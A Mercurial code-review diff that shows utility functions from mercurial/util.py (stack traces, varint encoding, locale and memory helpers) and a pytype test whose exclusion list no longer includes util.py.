3498 self._hooks.sort(key=lambda x: x[0])
3496 results = []
3499 results = []
3497 for source, hook in self._hooks:
3500 for source, hook in self._hooks:
3498 results.append(hook(*args))
3501 results.append(hook(*args))
3499 return results
3502 return results
3500
3503
3501
3504
3502 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3505 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3503 """Yields lines for a nicely formatted stacktrace.
3506 """Yields lines for a nicely formatted stacktrace.
3504 Skips the 'skip' last entries, then return the last 'depth' entries.
3507 Skips the 'skip' last entries, then return the last 'depth' entries.
3505 Each file+linenumber is formatted according to fileline.
3508 Each file+linenumber is formatted according to fileline.
3506 Each line is formatted according to line.
3509 Each line is formatted according to line.
3507 If line is None, it yields:
3510 If line is None, it yields:
3508 length of longest filepath+line number,
3511 length of longest filepath+line number,
3509 filepath+linenumber,
3512 filepath+linenumber,
3510 function
3513 function
3511
3514
3512 Not be used in production code but very convenient while developing.
3515 Not be used in production code but very convenient while developing.
3513 """
3516 """
3514 entries = [
3517 entries = [
3515 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3518 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3516 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3519 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3517 ][-depth:]
3520 ][-depth:]
3518 if entries:
3521 if entries:
3519 fnmax = max(len(entry[0]) for entry in entries)
3522 fnmax = max(len(entry[0]) for entry in entries)
3520 for fnln, func in entries:
3523 for fnln, func in entries:
3521 if line is None:
3524 if line is None:
3522 yield (fnmax, fnln, func)
3525 yield (fnmax, fnln, func)
3523 else:
3526 else:
3524 yield line % (fnmax, fnln, func)
3527 yield line % (fnmax, fnln, func)
3525
3528
3526
3529
3527 def debugstacktrace(
3530 def debugstacktrace(
3528 msg=b'stacktrace',
3531 msg=b'stacktrace',
3529 skip=0,
3532 skip=0,
3530 f=procutil.stderr,
3533 f=procutil.stderr,
3531 otherf=procutil.stdout,
3534 otherf=procutil.stdout,
3532 depth=0,
3535 depth=0,
3533 prefix=b'',
3536 prefix=b'',
3534 ):
3537 ):
3535 """Writes a message to f (stderr) with a nicely formatted stacktrace.
3538 """Writes a message to f (stderr) with a nicely formatted stacktrace.
3536 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3539 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3537 By default it will flush stdout first.
3540 By default it will flush stdout first.
3538 It can be used everywhere and intentionally does not require an ui object.
3541 It can be used everywhere and intentionally does not require an ui object.
3539 Not be used in production code but very convenient while developing.
3542 Not be used in production code but very convenient while developing.
3540 """
3543 """
3541 if otherf:
3544 if otherf:
3542 otherf.flush()
3545 otherf.flush()
3543 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3546 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3544 for line in getstackframes(skip + 1, depth=depth):
3547 for line in getstackframes(skip + 1, depth=depth):
3545 f.write(prefix + line)
3548 f.write(prefix + line)
3546 f.flush()
3549 f.flush()
3547
3550
3548
3551
3549 # convenient shortcut
3552 # convenient shortcut
3550 dst = debugstacktrace
3553 dst = debugstacktrace
3551
3554
3552
3555
3553 def safename(f, tag, ctx, others=None):
3556 def safename(f, tag, ctx, others=None):
3554 """
3557 """
3555 Generate a name that it is safe to rename f to in the given context.
3558 Generate a name that it is safe to rename f to in the given context.
3556
3559
3557 f: filename to rename
3560 f: filename to rename
3558 tag: a string tag that will be included in the new name
3561 tag: a string tag that will be included in the new name
3559 ctx: a context, in which the new name must not exist
3562 ctx: a context, in which the new name must not exist
3560 others: a set of other filenames that the new name must not be in
3563 others: a set of other filenames that the new name must not be in
3561
3564
3562 Returns a file name of the form oldname~tag[~number] which does not exist
3565 Returns a file name of the form oldname~tag[~number] which does not exist
3563 in the provided context and is not in the set of other names.
3566 in the provided context and is not in the set of other names.
3564 """
3567 """
3565 if others is None:
3568 if others is None:
3566 others = set()
3569 others = set()
3567
3570
3568 fn = b'%s~%s' % (f, tag)
3571 fn = b'%s~%s' % (f, tag)
3569 if fn not in ctx and fn not in others:
3572 if fn not in ctx and fn not in others:
3570 return fn
3573 return fn
3571 for n in itertools.count(1):
3574 for n in itertools.count(1):
3572 fn = b'%s~%s~%s' % (f, tag, n)
3575 fn = b'%s~%s~%s' % (f, tag, n)
3573 if fn not in ctx and fn not in others:
3576 if fn not in ctx and fn not in others:
3574 return fn
3577 return fn
3575
3578
3576
3579
3577 def readexactly(stream, n):
3580 def readexactly(stream, n):
3578 '''read n bytes from stream.read and abort if less was available'''
3581 '''read n bytes from stream.read and abort if less was available'''
3579 s = stream.read(n)
3582 s = stream.read(n)
3580 if len(s) < n:
3583 if len(s) < n:
3581 raise error.Abort(
3584 raise error.Abort(
3582 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3585 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3583 % (len(s), n)
3586 % (len(s), n)
3584 )
3587 )
3585 return s
3588 return s
3586
3589
3587
3590
3588 def uvarintencode(value):
3591 def uvarintencode(value):
3589 """Encode an unsigned integer value to a varint.
3592 """Encode an unsigned integer value to a varint.
3590
3593
3591 A varint is a variable length integer of 1 or more bytes. Each byte
3594 A varint is a variable length integer of 1 or more bytes. Each byte
3592 except the last has the most significant bit set. The lower 7 bits of
3595 except the last has the most significant bit set. The lower 7 bits of
3593 each byte store the 2's complement representation, least significant group
3596 each byte store the 2's complement representation, least significant group
3594 first.
3597 first.
3595
3598
3596 >>> uvarintencode(0)
3599 >>> uvarintencode(0)
3597 '\\x00'
3600 '\\x00'
3598 >>> uvarintencode(1)
3601 >>> uvarintencode(1)
3599 '\\x01'
3602 '\\x01'
3600 >>> uvarintencode(127)
3603 >>> uvarintencode(127)
3601 '\\x7f'
3604 '\\x7f'
3602 >>> uvarintencode(1337)
3605 >>> uvarintencode(1337)
3603 '\\xb9\\n'
3606 '\\xb9\\n'
3604 >>> uvarintencode(65536)
3607 >>> uvarintencode(65536)
3605 '\\x80\\x80\\x04'
3608 '\\x80\\x80\\x04'
3606 >>> uvarintencode(-1)
3609 >>> uvarintencode(-1)
3607 Traceback (most recent call last):
3610 Traceback (most recent call last):
3608 ...
3611 ...
3609 ProgrammingError: negative value for uvarint: -1
3612 ProgrammingError: negative value for uvarint: -1
3610 """
3613 """
3611 if value < 0:
3614 if value < 0:
3612 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3615 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3613 bits = value & 0x7F
3616 bits = value & 0x7F
3614 value >>= 7
3617 value >>= 7
3615 bytes = []
3618 bytes = []
3616 while value:
3619 while value:
3617 bytes.append(pycompat.bytechr(0x80 | bits))
3620 bytes.append(pycompat.bytechr(0x80 | bits))
3618 bits = value & 0x7F
3621 bits = value & 0x7F
3619 value >>= 7
3622 value >>= 7
3620 bytes.append(pycompat.bytechr(bits))
3623 bytes.append(pycompat.bytechr(bits))
3621
3624
3622 return b''.join(bytes)
3625 return b''.join(bytes)
3623
3626
3624
3627
3625 def uvarintdecodestream(fh):
3628 def uvarintdecodestream(fh):
3626 """Decode an unsigned variable length integer from a stream.
3629 """Decode an unsigned variable length integer from a stream.
3627
3630
3628 The passed argument is anything that has a ``.read(N)`` method.
3631 The passed argument is anything that has a ``.read(N)`` method.
3629
3632
3630 >>> try:
3633 >>> try:
3631 ... from StringIO import StringIO as BytesIO
3634 ... from StringIO import StringIO as BytesIO
3632 ... except ImportError:
3635 ... except ImportError:
3633 ... from io import BytesIO
3636 ... from io import BytesIO
3634 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3637 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3635 0
3638 0
3636 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3639 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3637 1
3640 1
3638 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3641 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3639 127
3642 127
3640 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3643 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3641 1337
3644 1337
3642 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3645 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3643 65536
3646 65536
3644 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3647 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3645 Traceback (most recent call last):
3648 Traceback (most recent call last):
3646 ...
3649 ...
3647 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3650 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3648 """
3651 """
3649 result = 0
3652 result = 0
3650 shift = 0
3653 shift = 0
3651 while True:
3654 while True:
3652 byte = ord(readexactly(fh, 1))
3655 byte = ord(readexactly(fh, 1))
3653 result |= (byte & 0x7F) << shift
3656 result |= (byte & 0x7F) << shift
3654 if not (byte & 0x80):
3657 if not (byte & 0x80):
3655 return result
3658 return result
3656 shift += 7
3659 shift += 7
3657
3660
3658
3661
3659 # Passing the '' locale means that the locale should be set according to the
3662 # Passing the '' locale means that the locale should be set according to the
3660 # user settings (environment variables).
3663 # user settings (environment variables).
3661 # Python sometimes avoids setting the global locale settings. When interfacing
3664 # Python sometimes avoids setting the global locale settings. When interfacing
3662 # with C code (e.g. the curses module or the Subversion bindings), the global
3665 # with C code (e.g. the curses module or the Subversion bindings), the global
3663 # locale settings must be initialized correctly. Python 2 does not initialize
3666 # locale settings must be initialized correctly. Python 2 does not initialize
3664 # the global locale settings on interpreter startup. Python 3 sometimes
3667 # the global locale settings on interpreter startup. Python 3 sometimes
3665 # initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
3668 # initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
3666 # explicitly initialize it to get consistent behavior if it's not already
3669 # explicitly initialize it to get consistent behavior if it's not already
3667 # initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
3670 # initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
3668 # LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
3671 # LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
3669 # if we can remove this code.
3672 # if we can remove this code.
3670 @contextlib.contextmanager
3673 @contextlib.contextmanager
3671 def with_lc_ctype():
3674 def with_lc_ctype():
3672 oldloc = locale.setlocale(locale.LC_CTYPE, None)
3675 oldloc = locale.setlocale(locale.LC_CTYPE, None)
3673 if oldloc == 'C':
3676 if oldloc == 'C':
3674 try:
3677 try:
3675 try:
3678 try:
3676 locale.setlocale(locale.LC_CTYPE, '')
3679 locale.setlocale(locale.LC_CTYPE, '')
3677 except locale.Error:
3680 except locale.Error:
3678 # The likely case is that the locale from the environment
3681 # The likely case is that the locale from the environment
3679 # variables is unknown.
3682 # variables is unknown.
3680 pass
3683 pass
3681 yield
3684 yield
3682 finally:
3685 finally:
3683 locale.setlocale(locale.LC_CTYPE, oldloc)
3686 locale.setlocale(locale.LC_CTYPE, oldloc)
3684 else:
3687 else:
3685 yield
3688 yield
3686
3689
3687
3690
3688 def _estimatememory():
3691 def _estimatememory():
3689 # type: () -> Optional[int]
3692 # type: () -> Optional[int]
3690 """Provide an estimate for the available system memory in Bytes.
3693 """Provide an estimate for the available system memory in Bytes.
3691
3694
3692 If no estimate can be provided on the platform, returns None.
3695 If no estimate can be provided on the platform, returns None.
3693 """
3696 """
3694 if pycompat.sysplatform.startswith(b'win'):
3697 if pycompat.sysplatform.startswith(b'win'):
3695 # On Windows, use the GlobalMemoryStatusEx kernel function directly.
3698 # On Windows, use the GlobalMemoryStatusEx kernel function directly.
3696 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
3699 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
3697 from ctypes.wintypes import ( # pytype: disable=import-error
3700 from ctypes.wintypes import ( # pytype: disable=import-error
3698 Structure,
3701 Structure,
3699 byref,
3702 byref,
3700 sizeof,
3703 sizeof,
3701 windll,
3704 windll,
3702 )
3705 )
3703
3706
3704 class MEMORYSTATUSEX(Structure):
3707 class MEMORYSTATUSEX(Structure):
3705 _fields_ = [
3708 _fields_ = [
3706 ('dwLength', DWORD),
3709 ('dwLength', DWORD),
3707 ('dwMemoryLoad', DWORD),
3710 ('dwMemoryLoad', DWORD),
3708 ('ullTotalPhys', DWORDLONG),
3711 ('ullTotalPhys', DWORDLONG),
3709 ('ullAvailPhys', DWORDLONG),
3712 ('ullAvailPhys', DWORDLONG),
3710 ('ullTotalPageFile', DWORDLONG),
3713 ('ullTotalPageFile', DWORDLONG),
3711 ('ullAvailPageFile', DWORDLONG),
3714 ('ullAvailPageFile', DWORDLONG),
3712 ('ullTotalVirtual', DWORDLONG),
3715 ('ullTotalVirtual', DWORDLONG),
3713 ('ullAvailVirtual', DWORDLONG),
3716 ('ullAvailVirtual', DWORDLONG),
3714 ('ullExtendedVirtual', DWORDLONG),
3717 ('ullExtendedVirtual', DWORDLONG),
3715 ]
3718 ]
3716
3719
3717 x = MEMORYSTATUSEX()
3720 x = MEMORYSTATUSEX()
3718 x.dwLength = sizeof(x)
3721 x.dwLength = sizeof(x)
3719 windll.kernel32.GlobalMemoryStatusEx(byref(x))
3722 windll.kernel32.GlobalMemoryStatusEx(byref(x))
3720 return x.ullAvailPhys
3723 return x.ullAvailPhys
3721
3724
3722 # On newer Unix-like systems and Mac OSX, the sysconf interface
3725 # On newer Unix-like systems and Mac OSX, the sysconf interface
3723 # can be used. _SC_PAGE_SIZE is part of POSIX; _SC_PHYS_PAGES
3726 # can be used. _SC_PAGE_SIZE is part of POSIX; _SC_PHYS_PAGES
3724 # seems to be implemented on most systems.
3727 # seems to be implemented on most systems.
3725 try:
3728 try:
3726 pagesize = os.sysconf(os.sysconf_names['SC_PAGE_SIZE'])
3729 pagesize = os.sysconf(os.sysconf_names['SC_PAGE_SIZE'])
3727 pages = os.sysconf(os.sysconf_names['SC_PHYS_PAGES'])
3730 pages = os.sysconf(os.sysconf_names['SC_PHYS_PAGES'])
3728 return pagesize * pages
3731 return pagesize * pages
3729 except OSError: # sysconf can fail
3732 except OSError: # sysconf can fail
3730 pass
3733 pass
3731 except KeyError: # unknown parameter
3734 except KeyError: # unknown parameter
3732 pass
3735 pass
@@ -1,105 +1,104 b''
1 #require pytype py3 slow
1 #require pytype py3 slow
2
2
3 $ cd $RUNTESTDIR/..
3 $ cd $RUNTESTDIR/..
4
4
5 Many of the individual files that are excluded here confuse pytype
5 Many of the individual files that are excluded here confuse pytype
6 because they do a mix of Python 2 and Python 3 things
6 because they do a mix of Python 2 and Python 3 things
7 conditionally. There's no good way to help it out with that as far as
7 conditionally. There's no good way to help it out with that as far as
8 I can tell, so let's just hide those files from it for now. We should
8 I can tell, so let's just hide those files from it for now. We should
9 endeavor to empty this list out over time, as some of these are
9 endeavor to empty this list out over time, as some of these are
10 probably hiding real problems.
10 probably hiding real problems.
11
11
12 mercurial/bundlerepo.py # no vfs and ui attrs on bundlerepo
12 mercurial/bundlerepo.py # no vfs and ui attrs on bundlerepo
13 mercurial/changegroup.py # mysterious incorrect type detection
13 mercurial/changegroup.py # mysterious incorrect type detection
14 mercurial/chgserver.py # [attribute-error]
14 mercurial/chgserver.py # [attribute-error]
15 mercurial/cmdutil.py # No attribute 'markcopied' on mercurial.context.filectx [attribute-error]
15 mercurial/cmdutil.py # No attribute 'markcopied' on mercurial.context.filectx [attribute-error]
16 mercurial/context.py # many [attribute-error]
16 mercurial/context.py # many [attribute-error]
17 mercurial/copies.py # No attribute 'items' on None [attribute-error]
17 mercurial/copies.py # No attribute 'items' on None [attribute-error]
18 mercurial/crecord.py # tons of [attribute-error], [module-attr]
18 mercurial/crecord.py # tons of [attribute-error], [module-attr]
19 mercurial/debugcommands.py # [wrong-arg-types]
19 mercurial/debugcommands.py # [wrong-arg-types]
20 mercurial/dispatch.py # initstdio: No attribute ... on TextIO [attribute-error]
20 mercurial/dispatch.py # initstdio: No attribute ... on TextIO [attribute-error]
21 mercurial/exchange.py # [attribute-error]
21 mercurial/exchange.py # [attribute-error]
22 mercurial/hgweb/hgweb_mod.py # [attribute-error], [name-error], [wrong-arg-types]
22 mercurial/hgweb/hgweb_mod.py # [attribute-error], [name-error], [wrong-arg-types]
23 mercurial/hgweb/server.py # [attribute-error], [name-error], [module-attr]
23 mercurial/hgweb/server.py # [attribute-error], [name-error], [module-attr]
24 mercurial/hgweb/webcommands.py # [missing-parameter]
24 mercurial/hgweb/webcommands.py # [missing-parameter]
25 mercurial/hgweb/wsgicgi.py # confused values in os.environ
25 mercurial/hgweb/wsgicgi.py # confused values in os.environ
26 mercurial/httppeer.py # [attribute-error], [wrong-arg-types]
26 mercurial/httppeer.py # [attribute-error], [wrong-arg-types]
27 mercurial/interfaces # No attribute 'capabilities' on peer [attribute-error]
27 mercurial/interfaces # No attribute 'capabilities' on peer [attribute-error]
28 mercurial/keepalive.py # [attribute-error]
28 mercurial/keepalive.py # [attribute-error]
29 mercurial/localrepo.py # [attribute-error]
29 mercurial/localrepo.py # [attribute-error]
30 mercurial/lsprof.py # unguarded import
30 mercurial/lsprof.py # unguarded import
31 mercurial/manifest.py # [unsupported-operands], [wrong-arg-types]
31 mercurial/manifest.py # [unsupported-operands], [wrong-arg-types]
32 mercurial/minirst.py # [unsupported-operands], [attribute-error]
32 mercurial/minirst.py # [unsupported-operands], [attribute-error]
33 mercurial/patch.py # [wrong-arg-types]
33 mercurial/patch.py # [wrong-arg-types]
34 mercurial/pure/osutil.py # [invalid-typevar], [not-callable]
34 mercurial/pure/osutil.py # [invalid-typevar], [not-callable]
35 mercurial/pure/parsers.py # [attribute-error]
35 mercurial/pure/parsers.py # [attribute-error]
36 mercurial/pycompat.py # bytes vs str issues
36 mercurial/pycompat.py # bytes vs str issues
37 mercurial/repoview.py # [attribute-error]
37 mercurial/repoview.py # [attribute-error]
38 mercurial/sslutil.py # [attribute-error]
38 mercurial/sslutil.py # [attribute-error]
39 mercurial/statprof.py # bytes vs str on TextIO.write() [wrong-arg-types]
39 mercurial/statprof.py # bytes vs str on TextIO.write() [wrong-arg-types]
40 mercurial/testing/storage.py # tons of [attribute-error]
40 mercurial/testing/storage.py # tons of [attribute-error]
41 mercurial/ui.py # [attribute-error], [wrong-arg-types]
41 mercurial/ui.py # [attribute-error], [wrong-arg-types]
42 mercurial/unionrepo.py # ui, svfs, unfiltered [attribute-error]
42 mercurial/unionrepo.py # ui, svfs, unfiltered [attribute-error]
43 mercurial/upgrade.py # line 84, in upgraderepo: No attribute 'discard' on Dict[nothing, nothing] [attribute-error]
43 mercurial/upgrade.py # line 84, in upgraderepo: No attribute 'discard' on Dict[nothing, nothing] [attribute-error]
44 mercurial/util.py # [attribute-error], [wrong-arg-count]
44 mercurial/util.py # [attribute-error], [wrong-arg-count]
45 mercurial/utils/procutil.py # [attribute-error], [module-attr], [bad-return-type]
45 mercurial/utils/procutil.py # [attribute-error], [module-attr], [bad-return-type]
46 mercurial/utils/stringutil.py # [module-attr], [wrong-arg-count]
46 mercurial/utils/stringutil.py # [module-attr], [wrong-arg-count]
47 mercurial/utils/memorytop.py # not 3.6 compatible
47 mercurial/utils/memorytop.py # not 3.6 compatible
48 mercurial/win32.py # [not-callable]
48 mercurial/win32.py # [not-callable]
49 mercurial/wireprotoframing.py # [unsupported-operands], [attribute-error], [import-error]
49 mercurial/wireprotoframing.py # [unsupported-operands], [attribute-error], [import-error]
50 mercurial/wireprotoserver.py # line 253, in _availableapis: No attribute '__iter__' on Callable[[Any, Any], Any] [attribute-error]
50 mercurial/wireprotoserver.py # line 253, in _availableapis: No attribute '__iter__' on Callable[[Any, Any], Any] [attribute-error]
51 mercurial/wireprotov1peer.py # [attribute-error]
51 mercurial/wireprotov1peer.py # [attribute-error]
52 mercurial/wireprotov1server.py # BUG?: BundleValueError handler accesses subclass's attrs
52 mercurial/wireprotov1server.py # BUG?: BundleValueError handler accesses subclass's attrs
53 mercurial/wireprotov2server.py # [unsupported-operands], [attribute-error]
53 mercurial/wireprotov2server.py # [unsupported-operands], [attribute-error]
54
54
55 TODO: use --no-cache on test server? Caching the files locally helps during
55 TODO: use --no-cache on test server? Caching the files locally helps during
56 development, but may be a hinderance for CI testing.
56 development, but may be a hinderance for CI testing.
57
57
58 $ pytype -V 3.6 --keep-going --jobs auto mercurial \
58 $ pytype -V 3.6 --keep-going --jobs auto mercurial \
59 > -x mercurial/bundlerepo.py \
59 > -x mercurial/bundlerepo.py \
60 > -x mercurial/changegroup.py \
60 > -x mercurial/changegroup.py \
61 > -x mercurial/chgserver.py \
61 > -x mercurial/chgserver.py \
62 > -x mercurial/cmdutil.py \
62 > -x mercurial/cmdutil.py \
63 > -x mercurial/context.py \
63 > -x mercurial/context.py \
64 > -x mercurial/copies.py \
64 > -x mercurial/copies.py \
65 > -x mercurial/crecord.py \
65 > -x mercurial/crecord.py \
66 > -x mercurial/debugcommands.py \
66 > -x mercurial/debugcommands.py \
67 > -x mercurial/dispatch.py \
67 > -x mercurial/dispatch.py \
68 > -x mercurial/exchange.py \
68 > -x mercurial/exchange.py \
69 > -x mercurial/hgweb/hgweb_mod.py \
69 > -x mercurial/hgweb/hgweb_mod.py \
70 > -x mercurial/hgweb/server.py \
70 > -x mercurial/hgweb/server.py \
71 > -x mercurial/hgweb/webcommands.py \
71 > -x mercurial/hgweb/webcommands.py \
72 > -x mercurial/hgweb/wsgicgi.py \
72 > -x mercurial/hgweb/wsgicgi.py \
73 > -x mercurial/httppeer.py \
73 > -x mercurial/httppeer.py \
74 > -x mercurial/interfaces \
74 > -x mercurial/interfaces \
75 > -x mercurial/keepalive.py \
75 > -x mercurial/keepalive.py \
76 > -x mercurial/localrepo.py \
76 > -x mercurial/localrepo.py \
77 > -x mercurial/lsprof.py \
77 > -x mercurial/lsprof.py \
78 > -x mercurial/manifest.py \
78 > -x mercurial/manifest.py \
79 > -x mercurial/minirst.py \
79 > -x mercurial/minirst.py \
80 > -x mercurial/patch.py \
80 > -x mercurial/patch.py \
81 > -x mercurial/pure/osutil.py \
81 > -x mercurial/pure/osutil.py \
82 > -x mercurial/pure/parsers.py \
82 > -x mercurial/pure/parsers.py \
83 > -x mercurial/pycompat.py \
83 > -x mercurial/pycompat.py \
84 > -x mercurial/repoview.py \
84 > -x mercurial/repoview.py \
85 > -x mercurial/sslutil.py \
85 > -x mercurial/sslutil.py \
86 > -x mercurial/statprof.py \
86 > -x mercurial/statprof.py \
87 > -x mercurial/testing/storage.py \
87 > -x mercurial/testing/storage.py \
88 > -x mercurial/thirdparty \
88 > -x mercurial/thirdparty \
89 > -x mercurial/ui.py \
89 > -x mercurial/ui.py \
90 > -x mercurial/unionrepo.py \
90 > -x mercurial/unionrepo.py \
91 > -x mercurial/upgrade.py \
91 > -x mercurial/upgrade.py \
92 > -x mercurial/util.py \
93 > -x mercurial/utils/procutil.py \
92 > -x mercurial/utils/procutil.py \
94 > -x mercurial/utils/stringutil.py \
93 > -x mercurial/utils/stringutil.py \
95 > -x mercurial/utils/memorytop.py \
94 > -x mercurial/utils/memorytop.py \
96 > -x mercurial/win32.py \
95 > -x mercurial/win32.py \
97 > -x mercurial/wireprotoframing.py \
96 > -x mercurial/wireprotoframing.py \
98 > -x mercurial/wireprotoserver.py \
97 > -x mercurial/wireprotoserver.py \
99 > -x mercurial/wireprotov1peer.py \
98 > -x mercurial/wireprotov1peer.py \
100 > -x mercurial/wireprotov1server.py \
99 > -x mercurial/wireprotov1server.py \
101 > -x mercurial/wireprotov2server.py \
100 > -x mercurial/wireprotov2server.py \
102 > > $TESTTMP/pytype-output.txt || cat $TESTTMP/pytype-output.txt
101 > > $TESTTMP/pytype-output.txt || cat $TESTTMP/pytype-output.txt
103
102
104 Only show the results on a failure, because the output on success is also
103 Only show the results on a failure, because the output on success is also
105 voluminous and variable.
104 voluminous and variable.
General Comments 0
You need to be logged in to leave comments. Login now